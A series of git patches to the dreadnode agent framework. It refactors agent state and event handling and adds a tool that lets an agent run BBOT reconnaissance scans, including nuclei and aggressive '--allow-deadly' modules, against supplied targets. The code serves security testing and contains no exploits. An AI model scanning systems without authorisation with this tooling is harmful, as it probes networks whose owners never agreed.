AgentResult -from dreadnode.agent.stop import StopCondition, StopNever +from dreadnode.agent.stop import StopCondition from dreadnode.agent.thread import Thread from dreadnode.agent.tools.base import AnyTool, Tool, Toolset from dreadnode.agent.types import Message @@ -34,32 +34,53 @@ class Agent(BaseModel): model_config = ConfigDict(arbitrary_types_allowed=True, use_attribute_docstrings=True) - name: str - """The name of the agent.""" - description: str = "" - """A brief description of the agent's purpose.""" - - model: str | None = None - """Inference model (rigging generator identifier).""" - instructions: str | None = None - """The agent's core instructions.""" - tools: list[AnyTool | Toolset] = [] - """Tools the agent can use.""" - tool_mode: t.Annotated[ToolMode, Field(repr=False)] = "auto" - """The tool calling mode to use (e.g., "xml", "json-with-tag", "json-in-xml", "api") - default is "auto".""" - caching: t.Annotated[CacheMode | None, Field(repr=False)] = None - """How to handle cache_control entries on inference messages.""" - max_steps: int = 100 - """The maximum number of steps (generation + tool calls) the agent can take before stopping.""" - - stop_conditions: list[StopCondition] = [] - """The logical condition for successfully stopping a run.""" - hooks: t.Annotated[list[Hook], Field(exclude=True, repr=False)] = [] - """Hooks to run at various points in the agent's lifecycle.""" - thread: Thread = Field(default_factory=Thread, exclude=True, repr=False) - """Stateful thread for this agent, for when otherwise not specified during execution.""" - - _generator: Generator | None = PrivateAttr(None, init=False) + name: t.Annotated[str, "The name of the agent."] + description: t.Annotated[str, "A brief description of the agent's purpose."] + model: t.Annotated[str | None, "Inference model (rigging generator identifier)."] = None + instructions: t.Annotated[str | None, "The agent's core instructions."] = None + tools: t.Annotated[list[AnyTool | Toolset], "Tools the agent can use."] = [] + tool_mode: t.Annotated[ + ToolMode, + Field( + repr=False, + description='The tool calling mode to use (e.g., "xml", "json-with-tag", "json-in-xml", "api") - default is "auto".', + ), + ] = "auto" + caching: t.Annotated[ + CacheMode | None, + Field(repr=False, description="How to handle cache_control entries on inference messages."), + ] = None + max_steps: t.Annotated[ + int, + "The maximum number of steps (generation + tool calls) the agent can take before stopping.", + ] = 100 + + stop_conditions: t.Annotated[ + list[StopCondition], "The logical condition for successfully stopping an Agent." + ] = [] + hooks: t.Annotated[ + list[Hook], + Field( + exclude=True, + repr=False, + description="Hooks to run at various points in the agent's lifecycle.", + ), + ] = [] + thread: t.Annotated[ + Thread | None, + "Stateful thread for this agent, for when otherwise not specified during execution.", + Field( + default_factory=Thread, + exclude=True, + repr=False, + ), + ] = None + _dispatcher: t.Annotated[ + Dispatcher | None, + Field(exclude=True, repr=False, description="Optional dispatcher to handle agent events."), + ] = None + + _generator: t.Annotated[Generator | None, Field(default=None, init=False, repr=False)] = None @field_validator("tools", mode="before") @classmethod @@ -131,6 +152,7 @@ def _get_transforms(self) -> list[Transform]: @property def all_tools(self) -> list[AnyTool]: """Returns a flattened list of all available tools.""" + flat_tools: list[AnyTool] = [] for item in self.tools: if isinstance(item, Toolset): @@ -245,33 +267,3 @@ async def run( return await thread.run( self, user_input, commit="always" if thread == self.thread else "on-success" ) - - -class TaskAgent(Agent): - """ - A specialized agent for running tasks with a focus on completion and reporting. - It extends the base Agent class to provide task-specific functionality. - - - Automatically includes the `finish_task` and `update_todo` tools. - - Installs a default StopNever condition to trigger stalling behavior when no tools calls are made. - - Uses the `AgentStalled` event to handle stalled tasks by pushing the model to continue or finish the task. - """ - - def model_post_init(self, _: t.Any) -> None: - from dreadnode.agent.tools import mark_complete, update_todo - - if not any(tool for tool in self.tools if tool.name == "finish_task"): - self.tools.append(mark_complete) - - if not any(tool for tool in self.tools if tool.name == "update_todo"): - self.tools.append(update_todo) - - # Force the agent to use finish_task - self.stop_conditions.append(StopNever()) - self.hooks.insert( - 0, - retry_with_feedback( - event_type=AgentStalled, - feedback="Continue the task if possible or use the 'mark_complete' tool to complete it.", - ), - ) diff --git a/dreadnode/agent/dispatcher.py b/dreadnode/agent/dispatcher.py new file mode 100644 index 00000000..f1c4ea25 --- /dev/null +++ b/dreadnode/agent/dispatcher.py @@ -0,0 +1,42 @@ +import typing as t +from typing import Optional + +from loguru import logger + +from dreadnode.agent.events import Event + +if t.TYPE_CHECKING: + from dreadnode.agent.agent import Agent + from dreadnode.agent.types import Message, ToolCall, Usage + + +class Dispatcher: + def on_agent_start(self, agent: "Agent") -> Event: + logger.info(f"Agent started: {agent.name}") + + def on_step_start(self, step: int) -> Event: + logger.info(f"Step {step} started") + + def on_generation_end(self, message: "Message", usage: Optional["Usage"]) -> Event: + logger.info(f"Generation ended with message: {message.content}") + + def on_tool_start(self, tool_call: "ToolCall") -> Event: + logger.info(f"Tool started: {tool_call.name}") + + def on_tool_end(self, tool_call: "ToolCall", message: "Message", stop: bool) -> Event: + logger.info(f"Tool ended: {tool_call.name} with message: {message.content}") + + def on_agent_stalled(self, agent: "Agent") -> Event: + logger.warning("Agent has stalled") + + def on_agent_error(self, error: Exception) -> Event: + logger.error(f"Agent encountered an error: {error}") + + def on_agent_end(self, agent: "Agent") -> Event: + logger.info(f"{agent.name} has completed its run") + + def catch(self, callback, *args, **kwargs): + try: + return callback(*args, **kwargs) + except Exception as e: + logger.error(f"Error in {callback.__qualname__}(): {e}") diff --git a/dreadnode/agent/events.py b/dreadnode/agent/events.py index ffd734ab..3584c77a 100644 --- a/dreadnode/agent/events.py +++ b/dreadnode/agent/events.py @@ -13,7 +13,6 @@ from dreadnode.agent.result import AgentResult from dreadnode.agent.thread import Thread - EventT = t.TypeVar("EventT", bound="Event") diff --git a/dreadnode/agent/tools/bbot/dispatcher.py b/dreadnode/agent/tools/bbot/dispatcher.py new file mode 100644 index 00000000..f759cd59 --- /dev/null +++ b/dreadnode/agent/tools/bbot/dispatcher.py @@ -0,0 +1,35 @@ +import traceback +import typing as t + +from loguru import logger + +if t.TYPE_CHECKING: + from bbot import Scanner + + +class Dispatcher: + """ + Enables custom hooks/callbacks on certain scan events + """ + + def set_scan(self, scan: "Scanner"): + self.scan = scan + + async def on_start(self, scan: "Scanner"): + logger.info(f"Scan started with ID: {scan.id}") + + async def on_finish(self, scan: "Scanner"): + logger.info(f"Scan finished with ID: {scan.id}") + + async def on_status(self, status, scan_id): + """ + Execute an event when the scan's status is updated + """ + logger.debug(f"Setting scan ({scan_id}) status to {status}") + + async def catch(self, callback, *args, **kwargs): + try: + return await callback(*args, **kwargs) + except Exception as e: + logger(f"Error in {callback.__qualname__}(): {e}") + logger(traceback.format_exc()) diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py index e0a3a717..ac83678d 100644 --- a/dreadnode/agent/tools/bbot/tool.py +++ b/dreadnode/agent/tools/bbot/tool.py @@ -1,38 +1,116 @@ +import typing as t +from pathlib import Path + from bbot import Preset, Scanner +from loguru import logger from pydantic import Field from rich.console import Console -from dreadnode.agent.tools import Toolset +from dreadnode.agent.tools import Toolset, tool_method + +from .dispatcher import Dispatcher +from .utils import events_table, flags_table, modules_table, presets_table console = Console() class BBotTool(Toolset): + tool_name: str = Field(default="bbot-agent", description="Name of the BBOT Tool") scanner: Scanner | None = Field(default=None, exclude=True) + scan_timeout: int = Field(default=300, description="Timeout for BBOT scans in seconds") + config_dir: Path = Field( + default=Path(__file__).parent.parent.parent.parent / "config", exclude=True + ) + dispatcher: Dispatcher = Field(default_factory=Dispatcher, exclude=True) @classmethod - async def create(cls, name: str = "bbot-agent", **kwargs: dict) -> "BBotTool": + async def create(cls, tool_name: str = "bbot-agent", **kwargs: dict) -> "BBotTool": """Factory method to create and initialize a BBOT Tool.""" try: - instance = cls(name=name, **kwargs) + instance = cls(name=tool_name, **kwargs) except (ValueError, TypeError) as e: - raise ValueError(f"Failed to create BBOT Tool with name '{name}': {e}") from e + raise ValueError(f"Failed to create BBOT Tool with tool_name '{tool_name}': {e}") from e return instance - def get_presets(self) -> list[str] | None: + @tool_method() + def get_presets(self) -> None: """Return the presets available in the BBOT Agent.""" - preset = Preset(_log=True, name="bbot_cli_main") - console.print(preset.all_presets.keys()) - return list(preset.all_presets.keys()) + preset = Preset(_log=True, name="bbot_cli_main") + console.print(presets_table(preset)) - def get_modules(self) -> list[str] | None: + @tool_method() + def get_modules(self) -> None: """Return the modules available in the BBOT Agent.""" preset = Preset(_log=True, name="bbot_cli_main") + console.print(modules_table(preset.module_loader)) + + @tool_method() + def get_flags(self) -> None: + """Return the output modules available in the BBOT Agent.""" + preset = Preset(_log=True, name="bbot_cli_main") + console.print(flags_table(preset.module_loader)) + + @tool_method() + def get_events(self) -> None: + """Return the flags available in the BBOT Agent.""" + preset = Preset(_log=True, name="bbot_cli_main") + console.print(events_table(preset.module_loader)) + + async def run( + self, + targets: list[str], + modules: list[str] | None = None, + presets: list[str] | None = None, + flags: list[str] | None = None, + config: dict[str, t.Any] | None = None, + ) -> str: + r""" + Executes a BBOT scan against the specified targets. + + This is the primary action tool. It assembles and runs a `bbot` command + + Args: + targets: REQUIRED. Targets to scan (e.g., ['example.com']). + modules: Modules to run (e.g., ['httpx', 'nuclei']). + presets: Presets to use (e.g., ['subdomain-enum', 'web-basic']). + flags: Flags to enable module groups (e.g., ['passive', 'safe']). + config: Custom config options in key=value format (e.g., ['modules.httpx.timeout=5']). + extra_args: An array of strings for any other `bbot` CLI flags. This is the escape hatch + for advanced usage. For example: + ['--strict-scope'] + ['-ef aggressive --allow-deadly'] + ['--proxy http://127.0.0.1:8080'] + + Returns: + The standard output from the bbot command, summarizing the scan. + """ + if not targets: + raise ValueError("At least one target is required to run a scan.") + + user_config_path = Path("~/.config/bbot/bbot.yaml").expanduser().resolve() + repo_config_path = self.config_dir / "bbot.yaml" + if ( + user_config_path.exists() + and repo_config_path.exists() + and user_config_path.read_text() != repo_config_path.read_text() + ): + logger.warning( + f"User and repo `bbot.yml` config files differ. When running BBOT locally, " + f"BBOT always reads from {user_config_path} - update settings there as needed." + ) + + scan = Scanner( + *targets, + modules=modules or [], + presets=presets or [], + flags=flags or [], + config=config or {}, + dispatcher=self.dispatcher, + ) - console.print(preset.module_loader.all_module_choices) - console.print(preset.module_loader.output_module_choices) + async for event in scan.async_start(): + console.print(event) - console.print(preset.module_loader.flag_choices) - return None + return "Scan complete." diff --git a/dreadnode/agent/tools/bbot/utils.py b/dreadnode/agent/tools/bbot/utils.py new file mode 100644 index 00000000..a4846aa7 --- /dev/null +++ b/dreadnode/agent/tools/bbot/utils.py @@ -0,0 +1,161 @@ +import typing as t + +from rich.table import Table + + +def modules_table( + module_loader: t.Any, + modules: list[str] | None = None, + mod_type: str | None = None, + *, + include_author: bool = False, + include_created_date: bool = False, +) -> Table: + """ + Creates and prints a rich table of modules. + """ + table = Table(title="Modules Overview") + + header = [ + "Module", + "Type", + "Needs API Key", + "Description", + "Flags", + "Consumed Events", + "Produced Events", + ] + if include_author: + header.append("Author") + if include_created_date: + header.append("Created Date") + + table.add_column("Module", style="cyan", no_wrap=True) + table.add_column("Type", style="magenta") + table.add_column("Needs API Key", justify="center") + table.add_column("Description", width=30) + table.add_column("Flags") + table.add_column("Consumed Events") + table.add_column("Produced Events") + if include_author: + table.add_column("Author", style="green") + if include_created_date: + table.add_column("Created Date") + + for module_name, preloaded in module_loader.filter_modules(modules, mod_type): + module_type = preloaded["type"] + consumed_events = sorted(preloaded.get("watched_events", [])) + produced_events = sorted(preloaded.get("produced_events", [])) + flags = sorted(preloaded.get("flags", [])) + meta = preloaded.get("meta", {}) + api_key_required = "Yes" if meta.get("auth_required", False) else "No" + description = meta.get("description", "") + + row_data = [ + module_name, + module_type, + api_key_required, + description, + ", ".join(flags), + ", ".join(consumed_events), + ", ".join(produced_events), + ] + + if include_author: + author = meta.get("author", "") + row_data.append(author) + if include_created_date: + created_date = meta.get("created_date", "") + row_data.append(created_date) + + table.add_row(*row_data) + + return table + + +def presets_table(module_loader: t.Any, *, include_modules: bool = True) -> Table: + """ + Prints a rich table of all available presets. + """ + table = Table(title="Available Presets") + + # Define the columns and their styles + table.add_column("Preset", style="cyan", no_wrap=True) + table.add_column("Category", style="magenta") + table.add_column("Description", width=40) + table.add_column("# Modules", justify="right", style="green") + + if include_modules: + table.add_column("Modules", style="yellow") + + for loaded_preset, category, preset_path, original_file in module_loader.all_presets.values(): + baked_preset = loaded_preset.bake() + num_modules = f"{len(baked_preset.scan_modules):,}" + + row_data = [ + baked_preset.name, + category, + baked_preset.description, + num_modules, + ] + + if include_modules: + modules_str = ", ".join(sorted(baked_preset.scan_modules)) + row_data.append(modules_str) + + table.add_row(*row_data) + + return table + + +def flags_table(module_loader: t.Any, flags: list[str] | None = None) -> Table: + """ + Prints a rich table of flags, their descriptions, and associated modules. + """ + from bbot.core.modules import flag_descriptions + + table = Table(title="Module Flags") + + # Define columns + table.add_column("Flag", style="cyan", no_wrap=True) + table.add_column("# Modules", justify="right", style="green") + table.add_column("Description", width=40) + table.add_column("Modules", style="yellow") + + _flags = module_loader.flags(flags=flags) + for flag, modules in _flags: + description = flag_descriptions.get(flag, "") + table.add_row(flag, f"{len(modules)}", description, ", ".join(sorted(modules))) + + return table + + +def events_table(module_loader: t.Any) -> Table: + """ + Prints a rich table of events and the modules that consume or produce them. + """ + table = Table(title="Module Event Interactions") + + # Define columns + table.add_column("Event Type", style="cyan", no_wrap=True) + table.add_column("# Consuming", justify="right", style="yellow") + table.add_column("# Producing", justify="right", style="magenta") + table.add_column("Consuming Modules", style="yellow") + table.add_column("Producing Modules", style="magenta") + + consuming_events, producing_events = module_loader.events() + all_event_types = sorted(set(consuming_events).union(set(producing_events))) + + for event_type in all_event_types: + consuming_modules = sorted(consuming_events.get(event_type, [])) + producing_modules = sorted(producing_events.get(event_type, [])) + + table.add_row( + event_type, + str(len(consuming_modules)), + str(len(producing_modules)), + ", ".join(consuming_modules), + ", ".join(producing_modules), + ) + + return table diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index 6c3be3d9..d8b6abcb 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -1,4 +1,5 @@ -import asyncio +import typing as t +from pathlib import Path from rich.console import Console @@ -7,6 +8,10 @@ console = Console() +from cyclopts import App + +app = App() + agent = Agent( name="bbot-agent", @@ -15,13 +20,56 @@ ) -async def main() -> None: - agent = await BBotTool.create() - agent.get_presets() - agent.get_modules() - console.print(f"BBOT Tool created with name: {agent.name}") +@app.command +async def modules() -> None: + tool = await BBotTool.create() + tool.get_modules() + + +@app.command +async def presets() -> None: + tool = await BBotTool.create() + tool.get_presets() + + +@app.command +async def flags() -> None: + tool = await BBotTool.create() + tool.get_flags() + + +@app.command +async def events() -> None: + tool = await BBotTool.create() + tool.get_events() + + +@app.command +async def scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = f.readlines() + + if not targets: + console.print("[red]Error:[/red] No targets provided. Use --targets to specify targets.\n") + return + + tool = await BBotTool.create() + await tool.run( + targets=targets, + presets=presets, + modules=modules, + flags=flags, + config=config, + ) # Usage if __name__ == "__main__": - asyncio.run(main()) + app() From b3146cd1da2b692c5bfdd45fb08b771b099592e8 Mon Sep 17 00:00:00 2001 From: moohax <7361922+moohax@users.noreply.github.com> Date: Thu, 28 Aug 2025 04:17:03 -0600 Subject: [PATCH 24/60] agents entry point --- dreadnode/agent/__init__.py | 4 +- dreadnode/agent/agent.py | 44 +- dreadnode/agent/dispatcher.py | 101 ++- dreadnode/agent/events.py | 4 +- dreadnode/agent/handler.py | 42 ++ dreadnode/agent/{thread.py => state.py} | 38 +- dreadnode/agent/tools/__init__.py | 3 +- dreadnode/agent/tools/bbot/tool.py | 4 +- examples/agents/bbot/agent.py | 8 +- poetry.lock | 801 +++++++++++++++++++++++- pyproject.toml | 1 + 11 files changed, 970 insertions(+), 80 deletions(-) create mode 100644 dreadnode/agent/handler.py rename dreadnode/agent/{thread.py => state.py} (94%) diff --git a/dreadnode/agent/__init__.py b/dreadnode/agent/__init__.py index a121bc3a..65797133 100644 --- a/dreadnode/agent/__init__.py +++ b/dreadnode/agent/__init__.py @@ -3,10 +3,10 @@ from dreadnode.agent.agent import Agent from dreadnode.agent.events import rebuild_event_models from dreadnode.agent.result import AgentResult -from dreadnode.agent.thread import Thread +from dreadnode.agent.state import State Agent.model_rebuild() -Thread.model_rebuild() +State.model_rebuild() # rebuild_event_models() diff --git a/dreadnode/agent/agent.py b/dreadnode/agent/agent.py index a372d89b..3a12d58e 100644 --- a/dreadnode/agent/agent.py +++ b/dreadnode/agent/agent.py @@ -19,13 +19,13 @@ ) from dreadnode.agent.configurable import configurable -from dreadnode.agent.dispatcher import Dispatcher from dreadnode.agent.events import Event +from dreadnode.agent.handler import AgentEventHandler from dreadnode.agent.reactions import Hook from dreadnode.agent.result import AgentResult +from dreadnode.agent.state import State from dreadnode.agent.stop import StopCondition -from dreadnode.agent.thread import Thread -from dreadnode.agent.tools.base import AnyTool, Tool, Toolset +from dreadnode.agent.tools import AnyTool, Tool, Toolset from dreadnode.agent.types import Message from dreadnode.util import flatten_list, get_callable_name, shorten_string @@ -66,18 +66,20 @@ class Agent(BaseModel): description="Hooks to run at various points in the agent's lifecycle.", ), ] = [] - thread: t.Annotated[ - Thread | None, - "Stateful thread for this agent, for when otherwise not specified during execution.", + state: t.Annotated[ + State | None, + "Stateful state for this agent, for when otherwise not specified during execution.", Field( - default_factory=Thread, + default_factory=State, exclude=True, repr=False, ), ] = None - _dispatcher: t.Annotated[ - Dispatcher | None, - Field(exclude=True, repr=False, description="Optional dispatcher to handle agent events."), + _agent_event_handler: t.Annotated[ + AgentEventHandler | None, + Field( + exclude=True, repr=False, description="Optional event hander to handle agent events." + ), ] = None _generator: t.Annotated[Generator | None, Field(default=None, init=False, repr=False)] = None @@ -239,9 +241,9 @@ async def generate( return chat - def reset(self) -> Thread: - previous = self.thread - self.thread = Thread() + def reset(self) -> State: + previous = self.state + self.state = State() return previous @asynccontextmanager @@ -249,11 +251,11 @@ async def stream( self, user_input: str, *, - thread: Thread | None = None, + state: State | None = None, ) -> t.AsyncIterator[t.AsyncGenerator[Event, None]]: - thread = thread or self.thread - async with thread.stream( - self, user_input, commit="always" if thread == self.thread else "on-success" + state = state or self.state + async with state.stream( + self, user_input, commit="always" if state == self.state else "on-success" ) as stream: yield stream @@ -261,9 +263,9 @@ async def run( self, user_input: str, *, - thread: Thread | None = None, + state: State | None = None, ) -> AgentResult: - thread = thread or self.thread - return await thread.run( - self, user_input, commit="always" if thread == self.thread else "on-success" + state = state or self.state + return await state.run( + self, user_input, commit="always" if state == self.state else "on-success" ) diff --git a/dreadnode/agent/dispatcher.py b/dreadnode/agent/dispatcher.py index f1c4ea25..2c69cca6 100644 --- a/dreadnode/agent/dispatcher.py +++ b/dreadnode/agent/dispatcher.py @@ -1,42 +1,93 @@ +import asyncio import typing as t +from collections import defaultdict from typing import Optional from loguru import logger - -from dreadnode.agent.events import Event +from pydantic import BaseModel if t.TYPE_CHECKING: from dreadnode.agent.agent import Agent - from dreadnode.agent.types import Message, ToolCall, Usage -class Dispatcher: - def on_agent_start(self, agent: "Agent") -> Event: - logger.info(f"Agent started: {agent.name}") +class AgentDispatcher: + """ + Manages agent registration and message routing. + """ + + def __init__(self) -> None: + self._agents: dict[str, Agent] = {} + self._subscriptions: dict[type[BaseModel], set[str]] = defaultdict(set) + logger.info("Dispatcher started.") + + async def register_agent(self, agent: "Agent"): + """ + Register an agent with the dispatcher. + Automatically subscribes the agent to message types based on its handlers.""" + if agent.unique_name in self._agents: + logger.warning( + f"Agent with name '{agent.unique_name}' is already registered. Overwriting." + ) + self._agents[agent.unique_name] = agent + + handler = getattr(agent.__class__, "handle_message", None) + if handler and hasattr(handler, "_handled_types"): + for msg_type in handler._handled_types: + self._subscriptions[msg_type].add(agent.unique_name) + logger.info(f"Agent '{agent.unique_name}' subscribed to {msg_type.__name__}") - def on_step_start(self, step: int) -> Event: - logger.info(f"Step {step} started") + def get_agent(self, name: str) -> Optional["Agent"]: + """Get an agent proxy by name.""" + return self._agents.get(name) - def on_generation_end(self, message: "Message", usage: Optional["Usage"]) -> Event: - logger.info(f"Generation ended with message: {message.content}") + async def remove_agent(self, name: str): + """Remove an agent from the dispatcher.""" + if name in self._agents: + agent_instance = self._agents.get(name) + if agent_instance: + handler = getattr(agent_instance.__class__, "handle_message", None) + if handler and hasattr(handler, "_handled_types"): + for msg_type in handler._handled_types: + if msg_type in self._subscriptions: + self._subscriptions[msg_type].discard(name) + del self._agents[name] + logger.info(f"Agent '{name}' removed from dispatcher.") - def on_tool_start(self, tool_call: "ToolCall") -> Event: - logger.info(f"Tool started: {tool_call.name}") + def list_agents(self) -> list[str]: + """List all registered agent names.""" + return list(self._agents.keys()) - def on_tool_end(self, tool_call: "ToolCall", message: "Message", stop: bool) -> Event: - logger.info(f"Tool ended: {tool_call.name} with message: {message.content}") + def get_subscribers(self, message_type: type[BaseModel]) -> list["Agent"]: + """ + Get all agents subscribed to a specific message type. + """ + agent_names = self._subscriptions.get(message_type, set()) + return [self._agents[name] for name in agent_names if name in self._agents] - def on_agent_stalled(self, agent: "Agent") -> Event: - logger.warning("Agent has stalled") + async def publish(self, message: Dispatchable): + """ + Publish a message to all agents subscribed to its type (fire-and-forget). + """ + message_type = type(message) + message_data_type = type(message.data) + data_subscribers = self.get_subscribers(message_data_type) + message_subscribers = self.get_subscribers(message_type) + subscribers = data_subscribers + message_subscribers - def on_agent_error(self, error: Exception) -> Event: - logger.error(f"Agent encountered an error: {error}") + if not subscribers: + logger.warning(f"No subscribers for message type {message_type.__name__}") + return 0 - def on_agent_end(self, agent: "Agent") -> Event: - logger.info(f"{agent.name} has completed its run") + for agent in subscribers: + agent.tell(message) + logger.info(f"Published '{message_type.__name__}' to {len(subscribers)} agents.") + return len(subscribers) - def catch(self, callback, *args, **kwargs): - try: - return callback(*args, **kwargs) - except Exception as e: - logger.error(f"Error in {callback.__qualname__}(): {e}") + async def shutdown_all(self): + """Shutdown all registered agents.""" + logger.info("Shutting down all agents.") + agents = list(self._agents.values()) + await asyncio.gather(*[agent.shutdown() for agent in agents], return_exceptions=True) + self._agents.clear() + self._subscriptions.clear() + logger.info("All agents shut down and dispatcher cleared.") diff --git a/dreadnode/agent/events.py b/dreadnode/agent/events.py index 3584c77a..39d8ada6 100644 --- a/dreadnode/agent/events.py +++ b/dreadnode/agent/events.py @@ -11,7 +11,7 @@ from dreadnode.agent.agent import Agent from dreadnode.agent.reactions import Reaction from dreadnode.agent.result import AgentResult - from dreadnode.agent.thread import Thread + from dreadnode.agent.state import State EventT = t.TypeVar("EventT", bound="Event") @@ -19,7 +19,7 @@ @dataclass class Event: agent: "Agent" = field(repr=False) - thread: "Thread" = field(repr=False) + state: "State" = field(repr=False) messages: "list[Message]" = field(repr=False) events: "list[Event]" = field(repr=False) diff --git a/dreadnode/agent/handler.py b/dreadnode/agent/handler.py new file mode 100644 index 00000000..aa95b34b --- /dev/null +++ b/dreadnode/agent/handler.py @@ -0,0 +1,42 @@ +import typing as t +from typing import Optional + +from loguru import logger + +from dreadnode.agent.events import Event + +if t.TYPE_CHECKING: + from dreadnode.agent.agent import Agent + from dreadnode.agent.types import Message, ToolCall, Usage + + +class AgentEventHandler: + def on_agent_start(self, agent: "Agent") -> Event: + logger.info(f"Agent started: {agent.name}") + + def on_step_start(self, step: int) -> Event: + logger.info(f"Step {step} started") + + def on_generation_end(self, message: "Message", usage: Optional["Usage"]) -> Event: + logger.info(f"Generation ended with message: {message.content}") + + def on_tool_start(self, tool_call: "ToolCall") -> Event: + logger.info(f"Tool started: {tool_call.name}") + + def on_tool_end(self, tool_call: "ToolCall", message: "Message", stop: bool) -> Event: + logger.info(f"Tool ended: {tool_call.name} with message: {message.content}") + + def on_agent_stalled(self, agent: "Agent") -> Event: + logger.warning("Agent has stalled") + + def on_agent_error(self, error: Exception) -> Event: + logger.error(f"Agent encountered an error: {error}") + + def on_agent_end(self, agent: "Agent") -> Event: + logger.info(f"{agent.name} has completed its run") + + def catch(self, callback, *args, **kwargs): + try: + return callback(*args, **kwargs) + except Exception as e: + logger.error(f"Error in {callback.__qualname__}(): {e}") diff --git a/dreadnode/agent/thread.py b/dreadnode/agent/state.py similarity index 94% rename from dreadnode/agent/thread.py rename to dreadnode/agent/state.py index a6d8d0fc..73a4196f 100644 --- a/dreadnode/agent/thread.py +++ b/dreadnode/agent/state.py @@ -43,8 +43,8 @@ HookMap = dict[type[Event], list[Hook]] -class ThreadWarning(UserWarning): - """A warning that is raised when a thread is used in a way that may not be safe or intended.""" +class StateWarning(UserWarning): + """A warning that is raised when a state is used in a way that may not be safe or intended.""" def _total_usage_from_events(events: list[Event]) -> Usage: @@ -56,7 +56,7 @@ def _total_usage_from_events(events: list[Event]) -> Usage: return total -class Thread(BaseModel): +class State(BaseModel): messages: list[Message] = Field(default_factory=list) """The log of messages exchanged during the session.""" events: list[Event] = Field(default_factory=list) @@ -64,8 +64,8 @@ class Thread(BaseModel): def __repr__(self) -> str: if not self.messages and not self.events: - return "Thread()" - return f"Thread(messages={len(self.messages)}, events={len(self.events)}, last_event={self.events[-1] if self.events else 'None'})" + return "State()" + return f"State(messages={len(self.messages)}, events={len(self.events)}, last_event={self.events[-1] if self.events else 'None'})" @property def total_usage(self) -> Usage: @@ -124,7 +124,7 @@ async def _dispatch(event: EventT) -> t.AsyncIterator[Event]: if not isinstance(reaction, Reaction): warn_at_user_stacklevel( f"Hook '{hook_name}' returned {reaction}, but expected a Reaction.", - ThreadWarning, + StateWarning, ) continue @@ -160,7 +160,7 @@ async def _dispatch(event: EventT) -> t.AsyncIterator[Event]: if reaction is not None and reaction is not winning_reaction: warn_at_user_stacklevel( f"Hook '{hook_name}' returned {reaction}, but another hook already reacted. Only the first one will be applied.", - ThreadWarning, + StateWarning, ) winning_hook_name = next( @@ -169,7 +169,7 @@ async def _dispatch(event: EventT) -> t.AsyncIterator[Event]: ) reacted_event = Reacted( agent=agent, - thread=self, + state=self, messages=messages, events=events, hook_name=winning_hook_name, @@ -196,7 +196,7 @@ async def _process_tool_call( async for event in _dispatch( ToolStart( agent=agent, - thread=self, + state=self, messages=messages, events=events, tool_call=tool_call, @@ -215,7 +215,7 @@ async def _process_tool_call( async for event in _dispatch( AgentError( agent=agent, - thread=self, + state=self, messages=messages, events=events, error=e, @@ -231,7 +231,7 @@ async def _process_tool_call( async for event in _dispatch( ToolEnd( agent=agent, - thread=self, + state=self, messages=messages, events=events, tool_call=tool_call, @@ -246,7 +246,7 @@ async def _process_tool_call( async for event in _dispatch( AgentStart( agent=agent, - thread=self, + state=self, messages=messages, events=events, ) @@ -265,7 +265,7 @@ async def _process_tool_call( async for event in _dispatch( StepStart( agent=agent, - thread=self, + state=self, messages=messages, events=events, step=step, @@ -280,7 +280,7 @@ async def _process_tool_call( async for event in _dispatch( AgentError( agent=agent, - thread=self, + state=self, messages=messages, events=events, error=t.cast("Exception", step_chat.error), @@ -294,7 +294,7 @@ async def _process_tool_call( async for event in _dispatch( GenerationEnd( agent=agent, - thread=self, + state=self, messages=messages, events=events, message=step_chat.last, @@ -317,7 +317,7 @@ async def _process_tool_call( async for event in _dispatch( AgentStalled( agent=agent, - thread=self, + state=self, messages=messages, events=events, ) @@ -373,7 +373,7 @@ async def _process_tool_call( yield AgentEnd( agent=agent, - thread=self, + state=self, messages=messages, events=events, result=AgentResult( @@ -432,5 +432,5 @@ async def run( return final_event.result - def fork(self) -> "Thread": - return Thread(messages=deepcopy(self.messages), events=deepcopy(self.events)) + def fork(self) -> "State": + return State(messages=deepcopy(self.messages), events=deepcopy(self.events)) diff --git a/dreadnode/agent/tools/__init__.py b/dreadnode/agent/tools/__init__.py index fb69fbbf..86b3db94 100644 --- a/dreadnode/agent/tools/__init__.py +++ b/dreadnode/agent/tools/__init__.py @@ -1,8 +1,9 @@ -from dreadnode.agent.tools.base import Tool, Toolset, tool, tool_method +from dreadnode.agent.tools.base import AnyTool, Tool, Toolset, tool, tool_method from dreadnode.agent.tools.task.finish import complete_successfully, mark_as_failed from dreadnode.agent.tools.task.todo import update_todo __all__ = [ + "AnyTool", "Tool", "Toolset", "complete_successfully", diff --git a/dreadnode/agent/tools/bbot/tool.py b/dreadnode/agent/tools/bbot/tool.py index ac83678d..be61c74a 100644 --- a/dreadnode/agent/tools/bbot/tool.py +++ b/dreadnode/agent/tools/bbot/tool.py @@ -111,6 +111,4 @@ async def run( ) async for event in scan.async_start(): - console.print(event) - - return "Scan complete." + yield event diff --git a/examples/agents/bbot/agent.py b/examples/agents/bbot/agent.py index d8b6abcb..c92dfd83 100644 --- a/examples/agents/bbot/agent.py +++ b/examples/agents/bbot/agent.py @@ -61,7 +61,7 @@ async def scan( return tool = await BBotTool.create() - await tool.run( + events = tool.run( targets=targets, presets=presets, modules=modules, @@ -69,6 +69,12 @@ async def scan( config=config, ) + async for event in events: + console.print(event) + # Add your agent logic here to process events + # if event == "FINDING": + # await agent.run(...) + # Usage if __name__ == "__main__": diff --git a/poetry.lock b/poetry.lock index 763ce92e..199492e7 100644 --- a/poetry.lock +++ b/poetry.lock @@ -147,6 +147,21 @@ yarl = ">=1.17.0,<2.0" [package.extras] speedups = ["Brotli ; platform_python_implementation == \"CPython\"", "aiodns (>=3.3.0)", "brotlicffi ; platform_python_implementation != \"CPython\""] +[[package]] +name = "aiohttp-cors" +version = "0.8.1" +description = "CORS support for aiohttp" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "aiohttp_cors-0.8.1-py3-none-any.whl", hash = "sha256:3180cf304c5c712d626b9162b195b1db7ddf976a2a25172b35bb2448b890a80d"}, + {file = "aiohttp_cors-0.8.1.tar.gz", hash = 